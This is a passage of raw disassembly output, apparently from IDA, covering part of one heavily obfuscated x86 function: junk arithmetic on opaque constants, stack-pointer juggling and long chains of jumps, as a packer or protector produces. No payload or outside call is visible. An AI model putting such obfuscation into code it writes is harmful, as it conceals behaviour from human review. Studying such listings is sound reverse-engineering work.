; CODE XREF: sub_57DD3A+6E18j pop esp push ebx mov ebx, esp add ebx, 4 add ebx, 4 push ebx jmp loc_584F4B ; --------------------------------------------------------------------------- loc_584FC8: ; CODE XREF: sub_57DD3A+5133j push ebx jmp loc_58876E ; --------------------------------------------------------------------------- loc_584FCE: ; CODE XREF: sub_57DD3A+7E5Dj push 4E55h mov [esp+78h+var_78], ebx jmp loc_58AB45 ; --------------------------------------------------------------------------- loc_584FDB: ; CODE XREF: sub_57DD3A+DCFFj not bl mov dl, bl pop bx push ebx mov bh, 0D2h jmp loc_5832B5 ; --------------------------------------------------------------------------- loc_584FE9: ; CODE XREF: sub_57DD3A+7DAEj add esp, 4 add eax, 4 xchg eax, [esp+76h+var_78+2] pop esp mov ecx, [esp+72h+var_74+2] push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+76h+var_78+2] jmp loc_5853BD ; --------------------------------------------------------------------------- loc_58500A: ; CODE XREF: sub_57DD3A+DE45j xor ecx, [esp+76h+var_78+2] pop esp add edx, 0EFB963BCh mov ebp, edx pop edx xor ebp, ecx mov ecx, [esp+6Eh+var_70+2] add esp, 4 and ecx, ebp pop ebp shr ecx, 7 jmp loc_5835F3 ; --------------------------------------------------------------------------- loc_58502D: ; CODE XREF: sub_57DD3A+DBA1j push [esp+66h+var_68+2] jmp loc_583B73 ; --------------------------------------------------------------------------- push [esp+6Ah+var_6C+2] push [esp+6Eh+var_70+2] pop ecx push 7CEh mov [esp+72h+var_74+2], esi jmp loc_58D27E ; --------------------------------------------------------------------------- loc_585049: ; CODE XREF: sub_57DD3A+79CDj push ebx mov ebx, 61184E37h jmp loc_584785 ; --------------------------------------------------------------------------- loc_585054: ; CODE XREF: sub_57DD3A+8207j mov esp, [esp+76h+var_78+2] push 502Bh mov [esp+7Ah+var_7C+2], ebp mov ebp, 70320FC8h jmp loc_584029 ; --------------------------------------------------------------------------- loc_585069: ; CODE XREF: sub_57DD3A+89E0j add [esp+7Ah+var_7C+2], 4 pop eax push edx mov edx, 4 jmp loc_58AE9D ; --------------------------------------------------------------------------- loc_58507C: ; CODE XREF: sub_57DD3A+60D8j push ebx jmp loc_58D7AC ; --------------------------------------------------------------------------- loc_585082: ; CODE XREF: sub_57DD3A+5DEDj pop edx shl edx, 7 jmp loc_5833B5 ; --------------------------------------------------------------------------- loc_58508B: ; CODE XREF: sub_57DD3A+B691j xchg ebp, [esp+88h+var_88] pop esp add edx, 4 jmp loc_584478 ; --------------------------------------------------------------------------- loc_58509A: ; CODE XREF: sub_57DD3A+3F67j pop ebp jmp loc_58D7C5 ; --------------------------------------------------------------------------- loc_5850A0: ; CODE XREF: sub_57DD3A+765Bj add [esp+80h+var_7C], 613C0879h add [esp+80h+var_7C], edx jmp loc_58D191 ; --------------------------------------------------------------------------- loc_5850B1: ; CODE XREF: sub_57DD3A+7F0Fj add eax, 4 sub eax, 4 xchg eax, [esp+80h+var_80] jmp loc_581D44 ; --------------------------------------------------------------------------- loc_5850C3: ; CODE XREF: sub_57DD3A+C796j push dx push eax mov al, 92h sub al, 0F0h jmp loc_58D7D0 ; --------------------------------------------------------------------------- loc_5850CF: ; CODE XREF: sub_57DD3A+E7F9j mov esp, [esp+86h+var_88+2] or eax, eax jz loc_587FF3 push dword ptr [edi+28h] push [esp+8Ah+var_8C+2] push [esp+8Eh+var_90+2] pop eax push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+92h+var_94+2] mov esp, [esp+92h+var_94+2] push 2AB4h mov [esp+96h+var_98+2], ecx mov ecx, esp push ebx mov ebx, 417450Dh inc ebx xor ebx, 49D32926h not ebx sub ebx, 198B2023h or ebx, 202E0E92h xor ebx, 0B8BE7FB2h add ecx, ebx pop ebx jmp loc_581CAF ; --------------------------------------------------------------------------- loc_585129: ; CODE XREF: sub_57DD3A+878Aj dec ebx add ebx, 40CD4FE8h push eax mov eax, 0FFFFFFFFh add ebx, eax pop eax push esi mov esi, 7DB1B3Bh shr esi, 8 jmp loc_586CFF ; --------------------------------------------------------------------------- loc_585147: ; CODE XREF: sub_57DD3A+EE38j or ebp, 0F7B4F58h jmp loc_584592 ; --------------------------------------------------------------------------- loc_585152: ; CODE XREF: sub_57DD3A+6F63j add edi, ebp pop ebp push eax jmp loc_588080 ; --------------------------------------------------------------------------- loc_58515B: ; CODE XREF: sub_57DD3A+F15Aj add ebx, edi mov edi, [esp+8Ch+var_8C] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+90h+var_90] pop esp sub ebx, eax sub ebx, 593050B2h push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp+90h+var_90] jmp loc_5886CA ; --------------------------------------------------------------------------- loc_58518E: ; CODE XREF: sub_57DD3A+6713j pop eax add ecx, 5BCA0F72h push ebx push eax jmp loc_58BF5D ; --------------------------------------------------------------------------- loc_58519C: ; CODE XREF: sub_57DD3A+CFA9j xor ebp, 40047391h jmp loc_5837CC ; --------------------------------------------------------------------------- loc_5851A7: ; CODE XREF: sub_57DD3A+EFDAj push eax push ebx mov bl, 5Eh mov ah, bl pop ebx push ecx mov ch, 47h or ah, ch pop ecx neg ah shl ah, 6 push edx mov dh, 1Ch sub ah, dh pop edx add ah, 0DBh sub cl, ah pop eax shl cl, 2 not cl shr cl, 2 inc cl add cl, 20h sub al, 43h add al, cl add al, 43h pop ecx push ecx mov cl, 0A4h shl cl, 3 jmp loc_58A45D ; --------------------------------------------------------------------------- loc_5851E4: ; CODE XREF: sub_57DD3A+EB09j mov ebx, [esp+0BCh+var_BC] push ebp jmp loc_58CF01 ; --------------------------------------------------------------------------- lodsd jmp loc_5833D3 ; --------------------------------------------------------------------------- loc_5851F3: ; CODE XREF: sub_57DD3A+E526j sub [esp+0C0h+var_C0], 193A5BDDh jmp loc_58D967 ; --------------------------------------------------------------------------- loc_5851FF: ; CODE XREF: sub_57DD3A+E3EFj add esp, 4 push [esp+0BCh+var_BC] pop edx add esp, 4 push edx mov dl, 60h shr dl, 8 jmp loc_584BB8 ; --------------------------------------------------------------------------- loc_585214: ; CODE XREF: sub_57DD3A+A57Dj xor ecx, 0B655F135h and ecx, 6D0653AAh add ecx, 96FBEFDAh sub edi, 779756Fh jmp loc_58D0CA ; --------------------------------------------------------------------------- loc_585231: ; CODE XREF: sub_57DD3A+41BAj mov ch, 32h shr ch, 4 xor ch, 12h push ebx mov bh, 57h push ecx mov ch, 0Fh dec ch add ch, 6Bh add ch, 56h jmp loc_583332 ; --------------------------------------------------------------------------- loc_58524C: ; CODE XREF: sub_57DD3A+FF0Bj add ebp, 4 sub ebp, 4 xor ebp, [esp+7Ah+var_7C+2] xor [esp+7Ah+var_7C+2], ebp jmp loc_581A48 ; --------------------------------------------------------------------------- loc_585263: ; CODE XREF: sub_57DD3A+9447j add ebp, 5C9CCB56h push ebp mov ebx, [esp+7Eh+var_80+2] add esp, 4 jmp loc_58BD72 ; --------------------------------------------------------------------------- loc_585278: ; CODE XREF: sub_57DD3A+6E98j push 4C5A1BB6h mov edx, [esp+82h+var_84+2] add esp, 4 jmp loc_58A161 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+7Eh+var_80+2] sub esp, 4 mov [esp+82h+var_84+2], ebp push esp jmp loc_586F20 ; --------------------------------------------------------------------------- loc_58529B: ; CODE XREF: sub_57DD3A+F220j add eax, edx pop edx mov ebx, eax pop eax jmp loc_587AF6 ; --------------------------------------------------------------------------- loc_5852A6: ; CODE XREF: sub_57DD3A+9752j sub ebp, 0FB55D3EBh jmp loc_583C1C ; --------------------------------------------------------------------------- loc_5852B1: ; CODE XREF: sub_57DD3A+7B51j mov [esp+7Eh+var_80+2], eax pop ebx pop eax sub edx, ebx mov ebx, [esp+76h+var_78+2] jmp loc_582C5D ; --------------------------------------------------------------------------- loc_5852C0: ; CODE XREF: sub_57DD3A+B01Cj pop ebp jmp loc_58CB3E ; --------------------------------------------------------------------------- loc_5852C6: ; CODE XREF: sub_57DD3A+A872j push [esp+72h+var_74+2] pop ecx add esp, 4 add ecx, 4 push ebx mov ebx, 4 add ecx, ebx pop ebx push ecx jmp loc_58B25A ; --------------------------------------------------------------------------- loc_5852E5: ; CODE XREF: sub_57DD3A+CF9Fj mov [esp+72h+var_74+2], edx jmp loc_58AE72 ; --------------------------------------------------------------------------- loc_5852ED: ; CODE XREF: sub_57DD3A+3E00j neg bh dec bh sub bh, 1 sub bh, 32h sub al, bh jmp loc_589D13 ; --------------------------------------------------------------------------- loc_5852FE: ; CODE XREF: sub_57DD3A+9E1Aj push eax mov ah, 0DAh mov ch, ah jmp loc_58D523 ; --------------------------------------------------------------------------- loc_585308: ; CODE XREF: sub_57DD3A+C32Fj pop esi jmp loc_58D26A ; --------------------------------------------------------------------------- mov cx, word ptr [esp+76h+var_78+2] push esi push esp jmp loc_58303D ; --------------------------------------------------------------------------- loc_585319: ; CODE XREF: sub_57DD3A+91D9j shl cl, 6 dec cl shr cl, 6 jmp loc_5836CC ; --------------------------------------------------------------------------- loc_585326: ; CODE XREF: sub_57DD3A+10207j mov edx, [esp+7Eh+var_80+2] jmp loc_58242F ; --------------------------------------------------------------------------- loc_58532E: ; CODE XREF: sub_57DD3A+3FBFj xor edi, [esp+8Ch+var_8C] jmp loc_584E4C ; --------------------------------------------------------------------------- loc_585336: ; CODE XREF: sub_57DD3A+F438j mov [esp+8Ch+var_8C], edi mov edi, 0CFB5CD06h xor ebp, edi pop edi mov ebx, ebp jmp loc_5840C1 ; --------------------------------------------------------------------------- loc_585348: ; CODE XREF: sub_57DD3A+F6E7j pop edi neg esi xor esi, 26C7B543h push esi jmp loc_587F03 ; --------------------------------------------------------------------------- loc_585357: ; CODE XREF: sub_57DD3A+69A2j mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp+0BCh+var_BC] mov esp, [esp+0BCh+var_BC] mov [esp+0BCh+var_BC], esi push esp mov esi, [esp+0C0h+var_C0] add esp, 4 add esi, 4 push ebx mov ebx, 2 jmp loc_5837D7 ; --------------------------------------------------------------------------- loc_585384: ; CODE XREF: sub_57DD3A+CA60j or eax, eax jz loc_58CB1C push dword ptr [edi+1Ch] push edx mov edx, 5FCE578Bh jmp loc_5850A0 ; --------------------------------------------------------------------------- loc_58539A: ; CODE XREF: sub_57DD3A+91FBj xor dl, ah pop eax or dl, 0C9h shr dl, 1 dec dl xor dl, 0AEh mov ch, dl jmp loc_588E0D ; --------------------------------------------------------------------------- loc_5853AE: ; CODE XREF: sub_57DD3A+F787j add ebx, 71B6331Dh shr ebx, 5 dec ebx jmp loc_58B071 ; --------------------------------------------------------------------------- loc_5853BD: ; CODE XREF: sub_57DD3A+72CBj pop esp mov [esp+72h+var_74+2], ebp sub esp, 4 mov [esp+76h+var_78+2], esp add [esp+76h+var_78+2], 4 mov ebp, [esp+76h+var_78+2] jmp loc_586187 ; --------------------------------------------------------------------------- loc_5853D3: ; CODE XREF: sub_57DD3A+BE67j pop edi add edi, 4 add edi, 2 xchg edi, [esp+72h+var_74+2] mov esp, [esp+72h+var_74+2] push 7EE4h mov [esp+76h+var_78+2], ecx push 7C85h mov [esp+7Ah+var_7C+2], eax mov al, dl push edx sub esp, 4 mov [esp+82h+var_84+2], ecx mov ch, al mov dh, ch pop ecx push eax jmp loc_58944B ; --------------------------------------------------------------------------- loc_58540A: ; CODE XREF: sub_57DD3A+CCEFj shr ebx, 4 jmp loc_58983B ; --------------------------------------------------------------------------- loc_585412: ; CODE XREF: sub_57DD3A+FCD7j push edi push edx push 22B44E17h pop edx xor edx, 73D03087h or edx, 60AB10CDh xor edx, 41C7C14h jmp loc_58BFD5 ; --------------------------------------------------------------------------- loc_585431: ; CODE XREF: sub_57DD3A+9CEDj or ah, 0D6h push cx mov cl, 5Ch xor ah, cl jmp loc_58684E ; --------------------------------------------------------------------------- loc_58543F: ; CODE XREF: sub_57DD3A+908Dj pop edx sub esi, eax pop eax jmp loc_58C484 ; --------------------------------------------------------------------------- loc_585448: ; CODE XREF: sub_57DD3A+79E3j push 41Dh mov [esp+88h+var_88], esi mov esi, esp add esi, 4 push 5DC5h mov [esp+8Ch+var_8C], ebp mov ebp, 50E759B6h or ebp, 0A9F3937h inc ebp shr ebp, 6 jmp loc_584870 ; --------------------------------------------------------------------------- loc_585474: ; CODE XREF: sub_57DD3A+CA49j pop ebx xor ebp, [esp+88h+var_88] xor [esp+88h+var_88], ebp xor ebp, [esp+88h+var_88] jmp loc_582E4F ; --------------------------------------------------------------------------- loc_585483: ; CODE XREF: sub_57DD3A+9B33j mov edi, 6AAE2428h mov ebx, edi jmp loc_58C265 ; --------------------------------------------------------------------------- loc_58548F: ; CODE XREF: sub_57DD3A+49E5j push edx mov edx, 22040EB4h shr edx, 5 sub edx, 0DAA8B281h mov esi, edx jmp loc_586418 ; --------------------------------------------------------------------------- loc_5854A5: ; CODE XREF: sub_57DD3A+4493j mov [esp+6Eh+var_70+2], ebx push [esp+6Eh+var_70+2] mov eax, [esp+72h+var_74+2] jmp loc_58DF74 ; --------------------------------------------------------------------------- loc_5854B3: ; CODE XREF: sub_57DD3A+94FDj add esp, 4 or ch, dl mov edx, [esp+6Eh+var_70+2] jmp loc_584771 ; --------------------------------------------------------------------------- loc_5854C0: ; CODE XREF: sub_57DD3A+B152j mov ch, 97h jmp loc_582F78 ; --------------------------------------------------------------------------- loc_5854C7: ; CODE XREF: sub_57DD3A+86D9j sub al, 0BBh sub al, bl add al, 0BBh push ecx mov ch, 58h dec ch push ax mov al, 3Eh xor ch, al pop ax add al, ch jmp loc_58DF0C ; --------------------------------------------------------------------------- loc_5854E1: ; CODE XREF: sub_57DD3A+A31Dj add bl, 46h mov cl, bl mov ebx, [esp+72h+var_74+2] add esp, 4 add cl, 0FFh jmp loc_583171 ; --------------------------------------------------------------------------- loc_5854F7: ; CODE XREF: sub_57DD3A+D916j mov ax, word ptr [esp+6Eh+var_70+2] push ecx mov ecx, esp add ecx, 4 sub esp, 4 mov [esp+76h+var_78+2], eax jmp loc_58698D ; --------------------------------------------------------------------------- loc_585512: ; CODE XREF: sub_57DD3A+90ECj xor ebp, [esp+76h+var_78+2] xor [esp+76h+var_78+2], ebp jmp loc_583FF9 ; --------------------------------------------------------------------------- loc_58551D: ; CODE XREF: sub_57DD3A+D06Ej mov [esp+76h+var_78+2], ebx push [esp+76h+var_74+2] push [esp+7Ah+var_7C+2] pop ebx jmp loc_58A579 ; --------------------------------------------------------------------------- loc_58552D: ; CODE XREF: sub_57DD3A+C7FAj pop ecx add esp, 4 push edi mov edi, 613D6926h add ecx, edi pop edi jmp loc_58C949 ; --------------------------------------------------------------------------- loc_58553F: ; CODE XREF: sub_57DD3A+F727j xor ebp, 2A3C759Eh sub ebp, 0C98F33E2h add esi, ebp pop ebp xor esi, 53A42B72h push eax mov eax, 3D2168D6h add eax, 37821AEAh sub eax, 23FB58EAh neg eax jmp loc_5881FA ; --------------------------------------------------------------------------- loc_58556B: ; CODE XREF: sub_57DD3A+934Fj mov ebp, 4F1163C8h sub ebp, 5B266141h jmp loc_584D72 ; --------------------------------------------------------------------------- loc_58557B: ; CODE XREF: sub_57DD3A+3C69j pop eax add esp, 4 jmp loc_585DAC ; --------------------------------------------------------------------------- loc_585584: ; CODE XREF: sub_57DD3A+4D58j add eax, 4 jmp loc_589739 ; --------------------------------------------------------------------------- loc_58558E: ; CODE XREF: sub_57DD3A+DCDFj mov esi, [esp+6Ch+var_6C] add esp, 4 add esi, 4 push edx mov edx, 4 jmp loc_58953E ; --------------------------------------------------------------------------- loc_5855A5: ; CODE XREF: sub_57DD3A+4DF9j sub esp, 4 mov [esp+68h+var_68], ebp push esi jmp loc_589C44 ; --------------------------------------------------------------------------- loc_5855B1: ; CODE XREF: sub_57DD3A+B724j pop ebx jmp loc_586B6C ; --------------------------------------------------------------------------- loc_5855B7: ; CODE XREF: sub_57DD3A+6A32j sub ebx, edi pop edi add ebx, 59C0110Dh jmp loc_582CEA ; --------------------------------------------------------------------------- loc_5855C5: ; CODE XREF: sub_57DD3A+ED49j shl edx, 1 jmp loc_588394 ; --------------------------------------------------------------------------- loc_5855CC: ; CODE XREF: sub_57DD3A+B881j mov ebx, [esp+0C0h+var_C0] add esp, 4 add al, dl add al, 0D5h pop dx sub esp, 4 mov [esp+0BEh+var_C0+2], edx mov edx, esp add edx, 4 push edi mov edi, 4 sub edx, edi jmp loc_588A6D ; --------------------------------------------------------------------------- loc_5855F9: ; CODE XREF: sub_57DD3A+89B7j pop edx jmp loc_584794 ; --------------------------------------------------------------------------- loc_5855FF: ; CODE XREF: sub_57DD3A+94ADj pop eax popa popf retn ; --------------------------------------------------------------------------- jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_585608: ; CODE XREF: sub_57DD3A+A194j shr word ptr [esp+96h+var_98+2], cl pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_585612: ; CODE XREF: sub_57DD3A+B6B1j jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_585617: ; CODE XREF: sub_57DD3A+CC66j pop esi jmp loc_58B600 ; --------------------------------------------------------------------------- loc_58561D: ; CODE XREF: sub_57DD3A+5110j push 3D26h jmp loc_585F01 ; --------------------------------------------------------------------------- loc_585627: ; CODE XREF: sub_57DD3A+663Fj add eax, 4 push 6BC9h mov [esp+0A0h+var_A0], esi mov esi, 35C61106h or esi, 32ED5CC3h push ebx mov ebx, 66323C37h xor esi, ebx pop ebx xor esi, 51DD61F4h add eax, esi mov esi, [esp+0A0h+var_A0] add esp, 4 xor eax, [esp+9Ch+var_9C] xor [esp+9Ch+var_9C], eax jmp loc_583F55 ; --------------------------------------------------------------------------- loc_585664: ; CODE XREF: sub_57DD3A+5B1Ej mov [esp+0BCh+var_BC], ebp push esp pop ebp push edx push ebx push 92F660Dh pop ebx sub ebx, 5E942AA5h add ebx, 5564C49Ch push ebx pop edx mov ebx, [esp+0C4h+var_C4] add esp, 4 add ebp, edx pop edx push eax push ebp mov ebp, 4 push ebp sub [esp+0C8h+var_C8], 1A8710B6h pop eax add eax, 1A8710B6h jmp loc_5843F4 ; --------------------------------------------------------------------------- loc_5856A5: ; CODE XREF: sub_57DD3A+AE49j add eax, ecx pop ecx sub esp, 4 mov [esp+0C4h+var_C4], esi mov esi, 42E73C05h jmp loc_58C060 ; --------------------------------------------------------------------------- push [esp+0C4h+var_C4] pop ecx push edx jmp loc_58AD41 ; --------------------------------------------------------------------------- loc_5856C2: ; CODE XREF: sub_57DD3A+5676j push ebp mov ebp, 0A300D5Dh add ebp, 13570A0Eh push ebp not [esp+0DCh+var_DC] pop ebp xor ebp, 1BA832CCh dec ebp sub ebp, 0F9D0DA53h add eax, ebp pop ebp add eax, 2 xor eax, [esp+0D4h+var_D4] xor [esp+0D4h+var_D4], eax jmp loc_58B001 ; --------------------------------------------------------------------------- loc_5856F3: ; CODE XREF: sub_57DD3A+7B9Aj shl ch, 3 jmp loc_5845C6 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+0D4h+var_D4] push eax mov eax, esp add eax, 4 jmp loc_585049 ; --------------------------------------------------------------------------- lodsd add eax, 30AD66CDh sub eax, ebx push edx jmp loc_584B3A ; --------------------------------------------------------------------------- loc_58571A: ; CODE XREF: sub_57DD3A+5EDDj mov edx, [esp+7Ah+var_7C+2] jmp loc_585448 ; --------------------------------------------------------------------------- loc_585722: ; CODE XREF: sub_57DD3A+AFF0j add esp, 4 push ebp push [esp+7Ah+var_78+2] pop ebp pop [esp+7Ah+var_7C+2] pop esp mov [esp+72h+var_74+2], edx push eax pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_585739: ; CODE XREF: sub_57DD3A+B063j sub ebx, 198117Ah add ebx, eax push edx push ebp mov ebp, 830308Eh mov edx, 692F5C0h add edx, ebp mov ebp, [esp+82h+var_84+2] add esp, 4 or edx, 704311DDh jmp loc_58768F ; --------------------------------------------------------------------------- loc_585760: ; CODE XREF: sub_57DD3A+7C78j or eax, ecx pop ecx sub eax, 26FD4F15h add ebp, eax pop eax jmp loc_583CB8 ; --------------------------------------------------------------------------- loc_585770: ; CODE XREF: sub_57DD3A+E152j pop eax mov edx, [esp+72h+var_74+2] add esp, 4 jmp loc_58B9DE ; --------------------------------------------------------------------------- loc_58577C: ; CODE XREF: sub_57DD3A+88E0j mov [esp+6Eh+var_70+2], esi push esp pop esi jmp loc_584C0C ; --------------------------------------------------------------------------- loc_585786: ; CODE XREF: sub_57DD3A+CA4Fj add eax, esi pop esi push eax jmp loc_582518 ; --------------------------------------------------------------------------- loc_58578F: ; CODE XREF: sub_57DD3A+C115j push ebp jmp loc_58CA07 ; --------------------------------------------------------------------------- loc_585795: ; CODE XREF: sub_57DD3A+B978j push eax mov eax, 4 add [esp+76h+var_74+2], eax pop eax mov edx, [esp+72h+var_74+2] jmp loc_58D658 ; --------------------------------------------------------------------------- loc_5857A8: ; CODE XREF: sub_57DD3A+9B2Dj add esp, 4 rep movsd add esp, [edx+38h] push edi push ebx push ebp mov ebp, 435416CFh jmp loc_58C825 ; --------------------------------------------------------------------------- loc_5857BD: ; CODE XREF: sub_57DD3A+D925j xchg edi, ecx inc edi xchg edi, ecx add ecx, 1AC87E71h jmp loc_58A0FD ; --------------------------------------------------------------------------- loc_5857CD: ; CODE XREF: sub_57DD3A+C753j mov [esp+7Ah+var_7C+2], esi push edx mov edx, 5D3C4732h xchg eax, edx not eax xchg eax, edx jmp loc_5827AA ; --------------------------------------------------------------------------- loc_5857DF: ; CODE XREF: sub_57DD3A+A1C4j pop cx sub al, 0Ah add al, dl add al, 0Ah pop edx push 5C3Eh mov [esp+7Ch+var_7C], ecx mov ch, 0A1h jmp loc_5827CE ; --------------------------------------------------------------------------- loc_5857F7: ; CODE XREF: sub_57DD3A+A01Dj push 22B8h mov [esp+80h+var_80], esi push 24F5h mov [esp+84h+var_84], ebx sub [esp+84h+var_84], 56B24D25h pop esi add esi, 56B24D25h push esi jmp loc_582344 ; --------------------------------------------------------------------------- loc_58581B: ; CODE XREF: sub_57DD3A+D4DBj push [esp+84h+var_80] pop esi pop [esp+84h+var_84] sub esp, 4 mov [esp+84h+var_84], esi not [esp+84h+var_84] mov esi, [esp+84h+var_84] jmp loc_588A9E ; --------------------------------------------------------------------------- loc_585837: ; CODE XREF: sub_57DD3A+DEB5j add ebx, esi pop esi add ebx, 4 xchg ebx, [esp+80h+var_80] pop esp jmp loc_5840B2 ; --------------------------------------------------------------------------- loc_585846: ; CODE XREF: sub_57DD3A+60AFj mov edx, 5A36252Dh or edx, 290E5FBFh neg edx add edx, 16F27D4Eh sub edx, 41491CA7h shr edx, 3 xor edx, 44DC7CE9h and esi, edx pop edx jmp loc_58B7A1 ; --------------------------------------------------------------------------- loc_585870: ; CODE XREF: sub_57DD3A+CFFCj mov edi, [esp+0E0h+var_E0] add esp, 4 sub edx, 4 xchg edx, [esp+0DCh+var_DC] pop esp mov [esp+0D8h+var_D8], eax mov eax, 0C1829A3h sub esp, 4 jmp loc_5852B1 ; --------------------------------------------------------------------------- loc_585890: ; CODE XREF: sub_57DD3A+CE32j add eax, 3C0B7EAEh neg eax sub eax, 0B14D98B7h add ebp, 0F935E9Ah jmp loc_582D94 ; --------------------------------------------------------------------------- loc_5858A7: ; CODE XREF: sub_57DD3A+AD4Ej mov eax, esp jmp loc_58B21A ; --------------------------------------------------------------------------- loc_5858AE: ; CODE XREF: sub_57DD3A+102A2j sub edi, ebx pop ebx mov ecx, edi mov edi, [esp+0D8h+var_D8] jmp loc_589FB1 ; --------------------------------------------------------------------------- loc_5858BB: ; CODE XREF: sub_57DD3A+909Fj sub eax, ebp jmp loc_58326C ; --------------------------------------------------------------------------- loc_5858C2: ; CODE XREF: sub_57DD3A+3C45j pop eax jmp loc_588352 ; --------------------------------------------------------------------------- loc_5858C8: ; CODE XREF: sub_57DD3A+B0DFj xor ch, al push [esp+5Ah+var_5C+2] pop eax add esp, 4 jmp loc_5856F3 ; --------------------------------------------------------------------------- loc_5858D9: ; CODE XREF: sub_57DD3A+E39Aj pop esp push 2025h mov [esp+56h+var_58+2], ebp jmp loc_586F4C ; --------------------------------------------------------------------------- loc_5858E7: ; CODE XREF: sub_57DD3A+D410j push edx mov dl, ah mov bl, dl jmp loc_58797E ; --------------------------------------------------------------------------- loc_5858F1: ; CODE XREF: sub_57DD3A+47FEj pop edx push ebp push edx push 2A3E052Eh mov edx, [esp+0B0h+var_B0] add esp, 4 shl edx, 3 shr edx, 3 not edx sub edx, 0F5C1FACDh mov ebp, edx mov edx, [esp+0ACh+var_AC] add esp, 4 add edi, ebp pop ebp push edi push [esp+0A8h+var_A4] pop edi pop [esp+0A8h+var_A8] jmp loc_58A799 ; --------------------------------------------------------------------------- loc_58592C: ; CODE XREF: sub_57DD3A+4489j not edx shl edx, 6 xor edx, 0F051145Eh sub edi, edx pop edx sub ebx, edi mov edi, [esp+66h+var_68+2] add esp, 4 push ebp jmp loc_582A11 ; --------------------------------------------------------------------------- loc_585948: ; CODE XREF: sub_57DD3A+A93Bj mov eax, 2E59658Fh push edx jmp loc_58C178 ; --------------------------------------------------------------------------- loc_585953: ; CODE XREF: sub_57DD3A+F426j sub ebx, ebp pop ebp sub eax, 2BE56FB5h sub eax, ebx add eax, 2BE56FB5h pop ebx push ecx mov ecx, 5388FFFEh xor eax, ecx pop ecx jmp loc_584857 ; --------------------------------------------------------------------------- loc_585971: ; CODE XREF: sub_57DD3A+C407j add esp, 4 sub ebp, 18D21DE2h add ebp, 73826680h push eax mov eax, 72851309h neg eax jmp loc_58AB69 ; --------------------------------------------------------------------------- loc_585990: ; CODE XREF: sub_57DD3A+B787j sub edi, 16093B11h mov esi, [esp+62h+var_64+2] jmp loc_588CEF ; --------------------------------------------------------------------------- loc_58599E: ; CODE XREF: sub_57DD3A+8459j mov [esp+62h+var_64+2], eax mov eax, 26C0711h push ecx mov ecx, 2A2206ECh xor ecx, 0CF74AF5h jmp loc_585760 ; --------------------------------------------------------------------------- loc_5859B7: ; CODE XREF: sub_57DD3A+F52Bj movzx cx, ah push small 3EABh jmp loc_588B25 ; --------------------------------------------------------------------------- loc_5859C4: ; CODE XREF: sub_57DD3A+5A8Dj pop edi push [esp+0B8h+var_B8] pop esi push ebp mov ebp, esp jmp loc_58A2B0 ; --------------------------------------------------------------------------- loc_5859D1: ; CODE XREF: sub_57DD3A+C6F5j add esp, 4 jmp loc_582B99 ; --------------------------------------------------------------------------- loc_5859DC: ; CODE XREF: sub_57DD3A+8D37j shl esi, 5 shr esi, 4 push esi not [esp+0BCh+var_BC] jmp loc_58DBF9 ; --------------------------------------------------------------------------- loc_5859EB: ; CODE XREF: sub_57DD3A+5920j sub esp, 4 mov [esp+0A6h+var_A8+2], ebx jmp loc_5849EB ; --------------------------------------------------------------------------- loc_5859F9: ; CODE XREF: sub_57DD3A+ACE3j push ecx mov ecx, 5BC73141h push edx mov edx, 6AD11343h not edx jmp loc_583139 ; --------------------------------------------------------------------------- loc_585A0C: ; CODE XREF: sub_57DD3A+DDFAj mov edx, [esp+0AEh+var_B0+2] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+0B2h+var_B4+2] pop esp xor edx, ebx pop ebx add eax, edx pop edx add eax, 11C417D6h add eax, ebx sub eax, 11C417D6h push esi mov esi, 4F822A31h sub eax, esi pop esi jmp loc_587722 ; --------------------------------------------------------------------------- loc_585A3E: ; CODE XREF: sub_57DD3A+E123j mov ebx, 0D3E7EFEh push ebp jmp loc_58B9F1 ; --------------------------------------------------------------------------- loc_585A49: ; CODE XREF: sub_57DD3A+4F5Cj xor [esp+90h+var_90], ebx xor ebx, [esp+90h+var_90] mov esp, [esp+90h+var_90] mov [esp+90h+var_90], edi push eax mov eax, 1 mov edi, eax push [esp+94h+var_94] pop eax jmp loc_58CA9D ; --------------------------------------------------------------------------- loc_585A66: ; CODE XREF: sub_57DD3A+7EECj sub eax, ebx pop ebx push eax jmp loc_58BC93 ; --------------------------------------------------------------------------- loc_585A6F: ; CODE XREF: sub_57DD3A+3F32j shl edi, 8 sub edi, 395A1CFCh jmp loc_585FBD ; --------------------------------------------------------------------------- loc_585A7D: ; CODE XREF: sub_57DD3A+3E2Dj not dh jmp loc_58DDD5 ; --------------------------------------------------------------------------- loc_585A84: ; CODE XREF: sub_57DD3A+C372j pop edx add esp, 4 jmp loc_582B01 ; --------------------------------------------------------------------------- loc_585A8D: ; CODE XREF: sub_57DD3A+E021j push ebp jmp loc_581F90 ; --------------------------------------------------------------------------- loc_585A93: ; CODE XREF: sub_57DD3A+D091j add esp, 4 pop [esp+72h+var_74+2] jmp loc_589A18 ; --------------------------------------------------------------------------- loc_585A9E: ; CODE XREF: sub_57DD3A+B812j sub esp, 4 mov [esp+72h+var_74+2], ebx jmp loc_58B5EB ; --------------------------------------------------------------------------- loc_585AA9: ; CODE XREF: sub_57DD3A+F9F7j jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_585AAE: ; CODE XREF: sub_57DD3A+D0AFj mov word ptr [esp+72h+var_74+2], dx mov dx, 5D76h sub cx, dx pop dx add ax, cx pop ecx mov bx, word ptr [esp+6Ch+var_6C] push ecx mov ecx, esp add ecx, 4 add ecx, 2 xchg ecx, [esp+70h+var_70] jmp loc_58C1D3 ; --------------------------------------------------------------------------- loc_585AD7: ; CODE XREF: sub_57DD3A+5C70j add esi, 517D781Fh sub esi, 0C181981Dh add eax, esi mov esi, [esp+70h+var_70] jmp loc_584FE9 ; --------------------------------------------------------------------------- loc_585AED: ; CODE XREF: sub_57DD3A+632Dj mov [esp+0B4h+var_B4], edi jmp loc_58DE15 ; --------------------------------------------------------------------------- loc_585AF5: ; CODE XREF: sub_57DD3A+4E7Cj mov edi, 5CB06DCBh jmp loc_58DB7B ; 